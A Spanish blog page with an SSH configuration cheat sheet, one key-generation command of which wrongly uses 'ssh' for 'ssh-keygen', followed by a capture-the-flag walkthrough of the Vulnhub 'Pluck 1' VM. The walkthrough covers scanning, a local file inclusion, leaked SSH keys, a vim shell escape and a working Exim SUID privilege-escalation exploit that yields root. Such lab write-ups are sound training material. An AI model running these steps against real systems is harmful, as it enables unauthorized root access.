martes, 11 de enero de 2022

SSH en servidores remotos


 

SSH 

SSH o Secure Shell, es un protocolo de administración remota que permite a usuarios acceder a servidores remotos a través de Internet con un método de autenticación.


 Configuración

Aquí algunos parámetros más  comunes en la configuración del servicio ssh.

Nota: Lo más recomendable es hacer una copia de seguridad del archivo /etc/ssh/sshd_config antes de ser modificado.

 

#Cambia el puerto por defecto de ssh (22)

Port 9876

#Desabilitar el acceso a root

PermitRootLogin no

#Habilitar acceso con llaves ssh

PubkeyAuthentication yes

#Desabilitar el acceso con contraseña

PasswordAuthentication no

#Limitar el numero de intentos de autenticacion

MaxAuthTries 4

#Limitar el numero de conexiones ssh

MaxSessions 1

#Desabilitar si es necesario aplicaciones graficas a traves de ssh

X11Forwarding no

#imprimir  mas informacion sobre las conexiones ssh

LogLevel VERBOSE

 

 Llaves

Generar una nueva llave

$ ssh user@server -t rsa -b 4095


Enviar la llave a el servidor

$ ssh-copy-id user@server 


Convertir ids_rsa a ppk 

puttygen current_key -o keyname.ppk


Conexion

Conexion a servidor

$ ssh user@server 


Usar otro puerto declarado en el archivo sshd_config

$ ssh user@server  -p otroPuerto


Correr script en un srvidor remoto

$ ssh user@server  script


Comprimir y descargar desde un servidor remoto

$ ssh user@server "tar cvzf - ~/source" > output.tgz


Especificar otra llave ssh para hacer la conexion

$ ssh -i ~.ssh/otraSshPKey


SCP Copiado Seguro

Copiar un archivo desde un servidor remoto a localhost

$ scp user@server:/directory/file.ext local_destination/


Copiar un archivo entre 2 servidores

$ scp user@server:directory/file.ext user@server:/directory

 

Copiar un archivo desde localhost a un servidor remoto

$ scp local/file.ext user@server:/directory

 

usar un puerto especifico declarado en el archivo de configuracion

scp -P port

 

Copiar recursivamente un directorio completo

$ scp -r user@server:/directory local_destination/


Copiar todos los archivos de una carpeta

$ scp -r user@server:/directory/* local_destination/

 

Copiar todos los archivos de una carpeta del servidor al directorio actual

$ scp -r user@server:/directory .

 

Compimir daoe en la red usando gzip

$ scp -C

 

Imprimir toda la inofrmacion sobre la transferencia actual

$ scp -v

sábado, 8 de enero de 2022

CTF Pluck 1 VM

 


Primero se hace el escaneo de puertos
$ sudo nmap -sV -Pn -A -O -oN plunk1 192.168.2.11 
Starting Nmap
Nmap scan report for 192.168.2.11
Host is up (0.00080s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e887ba3ed74323bf4a6b9dae6314ea71 (RSA)
|   256 8f8cac8de8ccf90e89f75da06c2856fd (ECDSA)
|_  256 18985a5a5c59e125701c371af2c726fe (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pluck
|_http-server-header: Apache/2.4.18 (Ubuntu)
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Se encontraron 3 servicios, el servicio de SSH, http y MySQL. Al revisar el servicio de http se encuentra esto.


 

No había nada en el código fuente, asi que se escaneó las rutas.
$ gobuster dir -u http://192.168.2.11/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
==============================================================================================================================
http://192.168.2.11/images               (Status: 301) [Size: 313] [--> http://192.168.2.11/images/]
http://192.168.2.11/css                  (Status: 301) [Size: 310] [--> http://192.168.2.11/css/]
http://192.168.2.11/js                   (Status: 301) [Size: 309] [--> http://192.168.2.11/js/]
http://192.168.2.11/fonts                (Status: 301) [Size: 312] [--> http://192.168.2.11/fonts/]
http://192.168.2.11/server-status        (Status: 403) [Size: 300]
Progress: 218873 / 220586 (99.22%)


Como parcialmente buscando no encontró nada, le pase como flag extensiones que debía buscar.
$ gobuster dir -u http://192.168.2.11/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.11/.html                (Status: 403) [Size: 292]
http://192.168.2.11/.php                 (Status: 403) [Size: 291]
http://192.168.2.11/images               (Status: 301) [Size: 313] [--> http://192.168.2.11/images/]
http://192.168.2.11/index.php            (Status: 200) [Size: 2309]
http://192.168.2.11/about.php            (Status: 200) [Size: 16645]
http://192.168.2.11/contact.php          (Status: 200) [Size: 1081]
http://192.168.2.11/header.php           (Status: 200) [Size: 1569]
http://192.168.2.11/admin.php            (Status: 200) [Size: 2721]
http://192.168.2.11/footer.php           (Status: 200) [Size: 241]
http://192.168.2.11/css                  (Status: 301) [Size: 310] [--> http://192.168.2.11/css/]
http://192.168.2.11/js                   (Status: 301) [Size: 309] [--> http://192.168.2.11/js/]
http://192.168.2.11/fonts                (Status: 301) [Size: 312] [--> http://192.168.2.11/fonts/]
http://192.168.2.11/.php                 (Status: 403) [Size: 291]
http://192.168.2.11/.html                (Status: 403) [Size: 292]


Y no se encontró nada relévente, asi que buscando con más detalle las rutas disponibles, se encontró esto.


Es una vulnerabilidad llamada Local File Inclusion (LFI) o en pocas palabras permite filtrar archivos del sistema navegando a través de la URL.


De esta manera se pudo acceder al archivo de cuenta de usuario, lo más inusual e interesante es lo que dice al final sobre hacer backups más fácil.

 

Aprovechando la vulnerabilidad LFI sea busca el archivo que mencionaba anteriormente. Hay un archivo que se puede acceder a través de tftp.
$ tftp 192.168.2.11
tftp> status
Connected to 192.168.2.11.
Mode: netascii Verbose: off Tracing: off Literal: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get /backups/backup.tar
tftp> quit

 

Ahora al descomprimirlo se encontró lo siguiente
$ tar -vxf backup.tar
home/
home/bob/
home/bob/.bashrc
home/bob/.sudo_as_admin_successful
home/bob/.profile
home/bob/.bash_logout
home/paul/
home/paul/keys/
home/paul/keys/id_key3.pub
home/paul/keys/id_key2.pub
home/paul/keys/id_key2
home/paul/keys/id_key4.pub
home/paul/keys/id_key5.pub
home/paul/keys/id_key6
home/paul/keys/id_key1
home/paul/keys/id_key5
home/paul/keys/id_key1.pub
home/paul/keys/id_key6.pub
home/paul/keys/id_key4
home/paul/keys/id_key3
home/paul/.bashrc
home/paul/.profile
home/paul/.bash_logout
home/peter/
home/peter/.bashrc
home/peter/.profile
home/peter/.bash_logout
var/www/html/
...


Luego es probar el acceso a las llaves que tiene peter. Al llegar a la cuarta aparece este menú.
$ sudo ssh paul@192.168.2.11 -i id_key4

 

Aparentemente, me da acceso a VIM, asi que se puede intentar saltar la restricción y obtener una shell eligiendo la opción editar file y al ingresar pasarle un parámetro que dará una shell.
:set shell=/bin/bash
:shell

Ahora averiguar una forma de obtener acceso a un usuario.
$ find / -perm -u=s -type f 2>/dev/null
/usr/exim/bin/exim-4.84-7
/usr/bin/passwd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/s-nail/s-nail-privsep
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/bin/ping
/bin/ntfs-3g


Al parecer exim en la lista, se encuentra vulnerabilidades de exim (exploit), lo siguiente es explotarlo.

$ id                                                                             
uid=1002(paul) gid=1002(paul) groups=1002(paul)                                  
$ cat > /tmp/root.pm << EOF                                                      
> package root;                                                                  
> use strict;                                                                    
> use warnings;                                                                  
> system("/bin/sh");                                                             
> EOF                                                                            
$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim-4.84-7 -ps
# id
uid=0(root) gid=1002(paul) groups=1002(paul)

 

Obteniendo el acceso de root, a continuación obtener el flag.
# cd /root
# ls
flag.txt
# cat flag.txt

Congratulations you found the flag

---------------------------------------



Muchas gracias a Ryan Oberto que nos brindó esta VM. Hasta la próxima.

Vulnhub: Pluck 1